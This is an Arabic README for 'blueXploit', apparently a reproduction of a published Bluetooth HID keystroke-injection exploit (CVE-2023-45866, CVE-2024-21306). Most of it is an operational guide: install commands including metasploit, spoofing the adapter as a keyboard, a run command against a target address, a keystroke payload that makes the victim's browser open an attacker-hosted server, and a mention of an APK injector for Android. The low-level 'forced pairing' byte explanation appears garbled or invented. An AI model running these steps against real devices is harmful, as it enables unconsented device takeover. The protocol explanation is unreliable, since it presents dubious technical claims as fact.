
استغلال ثغرات بلوتوث الحرجة (CVE-2023-45866, CVE-2024-21306)

الإسناد. الثغرة والاستغلال الأصلي هما من عمل Marc Newlin (hi_my_name_is_keyboard) — أنا لا أدّعي الاكتشاف. هذا المستودع هو إعادة إنتاج تم بناؤه لفهم وتوثيق الخلل؛ وفوق ذلك، يضيف blueXploit مشغل حمولات بأسلوب DuckyScript، وآلية إعادة اتصال/إعادة محاولة، ومساعدًا اختياريًا لحقن APK في أندرويد. كل شيء هنا للتعليم والبحث فقط.
هذه الثغرات الحرجة (CVE-2023-45866، CVE-2024-21306) تسمح للمهاجم بحقن ضغطات المفاتيح وقبول طلبات الاقتران دون تأكيد المستخدم. وهذا يؤثر بشكل خطير على أمن أنظمة تشغيل متعددة.
استنادًا إلى الاستغلال الأصلي بواسطة Marc Newlin.
تثبيت التبعيات
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit يتضمن أدوات لاستغلال الثغرات على أجهزة أندرويد، ويوفر مكونين رئيسيين وبرنامجًا إضافيًا يسمى apkpwn_injector، الموجود في مجلد injector.
.apk موجودة في مجلد apk_clean.تُمكّن هذه الميزات تدفق هجوم فعال ومبسط في بيئات خاضعة للرقابة أو لاختبار الاختراق.

cd injector
python3 apkpwn_injector.py
يتم تحميل أوامر المفاتيح التي ينفذها blueXploit من مجلد /injector/payloads/ بصيغة .txt، مع بناء جملة بسيط وسهل الفهم.
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
قم بتغيير عنوان IP إلى العنوان الذي يستضيف فيه الخادم.
اكتشاف الأجهزة وتعدادها
bluetoothctl
مسح أجهزة البلوتوث
scan on
تشغيل
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
ثم اختر الحمولة المطلوبة والمُعدّة مسبقًا.
العرض التوضيحي الكامل موجود في هذا الفيديو
يتم استغلال هذه الثغرة على مستوى منخفض من بروتوكول البلوتوث، وذلك بشكل أساسي عن طريق التلاعب بملف HID وبروتوكول L2CAP لحقن ضغطات المفاتيح في جهاز الضحية.
تتضمن حزمة البلوتوث عدة طبقات، مثل بروتوكول إدارة الارتباط (LMP)، وواجهة تحكم المضيف (HCI)، وL2CAP. يستخدم هذا الهجوم بشكل رئيسي الطبقتين الأخيرتين:
HCI: يتم التلاعب بتكوين المحول بحيث يقدم نفسه كجهاز HID شرعي.
L2CAP: المسؤول عن تعدد إرسال البيانات بين الأجهزة، يستخدم L2CAP القناة 17 (التحكم في HID) والقناة 19 (مقاطعة HID) للاتصال بـ HID، والتي يمكن استغلالها لإرسال تسلسلات المفاتيح.
CVE-2023-45866 هي ثغرة في بروتوكول إدارة الارتباط (LMP)، يتم استغلالها من خلال هجوم "الاقتران القسري". إليك كيف يتم تنفيذها تقنيًا:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
في إطار البيانات هذا:
0x01: طلب اقتران LMP0x01: طلب مصادقة LMP (PIN)0x00 0x00 0x00 0x00: معلومات PIN ضعيفة، عادةً 0000هنا يستغل هذا الاستغلال التكوين والمصادقة المفقودة لهذه الحزمة، مما ينتهي بإرجاع:
LMP Accept: 0x02 0x00 0x00 0x00 0x00
في إطار البيانات هذا:
0x02: طلب اقتران LMP مقبول0x00 0x00 0x00 0x00: معلومات PIN مشوهة تم إرجاعهاإذا لم يتم التحقق من المفتاح بشكل صحيح، يتم إنشاء الاتصال ولكن بدون اقتران حقيقي، لذا يمكن إرسال حزمة LMP اقتران قسري مثل:
LMP Forced Pairing: 0x03 0x01 0x0000
يمكن بعد ذلك فرض المصادقة باستخدام مفاتيح تم تسريبها مسبقًا (مثل "0000") وإنشاء قناة اتصال مشفرة، مما يقرن الأجهزة دون المرور بعملية تحقق مناسبة.
يؤدي هذا إلى إنشاء اقتران دون علم المستخدم، وحتى دون أي نافذة أو إشعار اقتران.
الخلل في هذه CVE هو أن بعض الأجهزة لا تتحقق بشكل صحيح من طلبات مصادقة LMP، أو تنتهي بإعادة استخدام مفاتيح قديمة.
لذا بمجرد الاقتران بالجهاز — بوم! — يصبح الباقي سهلاً: في blueXploit.py يتصرف المحول والجهاز كبيانات تعريفية ويزيفانها. في هذه الحالة، يتم تشغيل أوامر مثل:
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
كود blueXploit
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
شرح إطار بايتات HID:
:a10100001e000000000000
a1: يحدد نوع تقرير HID01: يحدد استخدام واجهة HID للبيانات الواردة00: ضغطة مفتاح أو تحرير مفتاح00 1e 00 00 00 00: القيمة السداسية العشرية، حيث 1e تقابل الحرف aيتم بعد ذلك استلام ACK لتأكيد استلام الإرسال بنجاح.
تحذير: هذه المواد والتقنيات الموصوفة في هذا المستودع هي لأغراض تعليمية وبحثية فقط. يجب استخدام أدوات الاختراق والاستغلال فقط على أنظمة لديك إذن صريح لفحصها. الاستخدام غير المصرح به لهذه التقنيات على أنظمة لا تملكها محظور وغير قانوني في العديد من الدول. أي ضرر أو تأثير سلبي ناتج عن الاستخدام غير السليم لهذا المحتوى هو مسؤولية المستخدم وحده.
يُنصح المستخدمون بالعمل في بيئات خاضعة للرقابة، مثل مختبرات الاختبار، والامتثال لجميع القوانين واللوائح المحلية المتعلقة بأمن المعلومات والقرصنة الأخلاقية. happy hacking :D